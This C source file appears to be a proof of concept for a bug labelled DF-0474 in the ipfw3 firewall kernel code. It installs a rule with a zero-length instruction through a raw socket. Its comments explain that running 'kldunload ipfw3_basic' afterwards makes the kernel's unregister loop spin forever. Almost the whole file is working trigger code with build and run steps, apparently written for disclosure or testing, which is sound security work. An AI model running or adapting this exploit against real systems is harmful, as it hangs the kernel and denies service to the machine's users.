/*
 * DF-0474 - ipfw3 zero-length opcode infinite loop (PATH A: unregister)
 *
 * This is the cleanest demonstration: install ONE rule whose cmd has
 * F_LEN(cmd)==0, then kldunload ipfw3_basic. ip_fw3_unregister_module
 * (sys/net/ipfw3/ip_fw3.c:188-238) iterates the rule chain at :201-204:
 *
 *   for (len = fw->cmd_len, cmd = fw->cmd; len > 0;
 *        len -= cmdlen,
 *        cmd = (ipfw_insn *)((uint32_t *)cmd + cmdlen)) {
 *       cmdlen = F_LEN(cmd);
 *       if (cmd->module == 0 && ...)
 *           ...
 *   }
 *
 * With F_LEN(cmd)==0, cmdlen=0, len never decreases, cmd never advances,
 * and the loop spins forever. NO filter_funcs / function pointers are
 * involved in this path -- it's a pure data-loop hang. The kldunload(2)
 * syscall never returns.
 *
 * The same defect exists in ip_fw3_chk's inner loop (:493-495), but that
 * path requires reaching a non-terminating filter (needs ipfw3_basic
 * filter_funcs to be populated) and is more fragile to demonstrate. The
 * unregister path is unconditional -- it only reads cmd->module/opcode.
 *
 * Build:  cc -o df0474_install df0474_install.c
 * Run:    ./df0474_install        # installs the buggy rule and exits
 * Then:   kldunload ipfw3_basic   # HANGS (bug)
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>

#define IP_FW_X    49
#define IP_FW_ADD  50

struct ipfw_insn { uint8_t o,l; uint16_t a1; uint8_t m,a3; uint16_t a2; } __packed;
struct ip_fw_x_header { uint16_t op, pad; } __packed;

struct ipfw_ioc_rule {
    uint16_t act_ofs, cmd_len, rulenum;
    uint8_t set, insert; uint32_t sets;
    uint64_t pcnt, bcnt; uint32_t ts;
    struct ipfw_insn cmd[8];
} __packed;
struct msg { struct ip_fw_x_header h; struct ipfw_ioc_rule r; } __packed;

int main(void) {
    int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    if (s<0){perror("socket");return 2;}
    struct msg m; memset(&m,0,sizeof(m));
    m.h.op = IP_FW_ADD;
    m.r.act_ofs = 0;
    m.r.cmd_len = 2;        /* 1 insn = 2 uint32_t words */
    m.r.rulenum = 100;
    /* cmd[0]: len=0x80 (F_NOT | F_LEN=0) -- the bug trigger.
       opcode/module values are irrelevant for the unregister hang;
       the loop body just reads them but never advances when F_LEN=0. */
    m.r.cmd[0].o = 0;       /* O_BASIC_ACCEPT -- doesn't matter */
    m.r.cmd[0].l = 0x80;    /* F_NOT | F_LEN=0 */
    m.r.cmd[0].m = 0;
    m.r.cmd[0].a1 = 0;

    if (setsockopt(s, IPPROTO_IP, IP_FW_X, &m, sizeof(m))<0) {
        perror("setsockopt"); return 2;
    }
    printf("[+] DF-0474: installed rule 100 with cmd[0].len=0x80 (F_LEN=0)\n");
    printf("[+] The rule is now in fw3_ctx[mycpuid]->rules on all CPUs.\n");
    printf("[+] Run 'kldunload ipfw3_basic' to trigger the infinite loop\n");
    printf("    in ip_fw3_unregister_module at ip_fw3.c:201-204.\n");
    close(s);
    return 0;
}
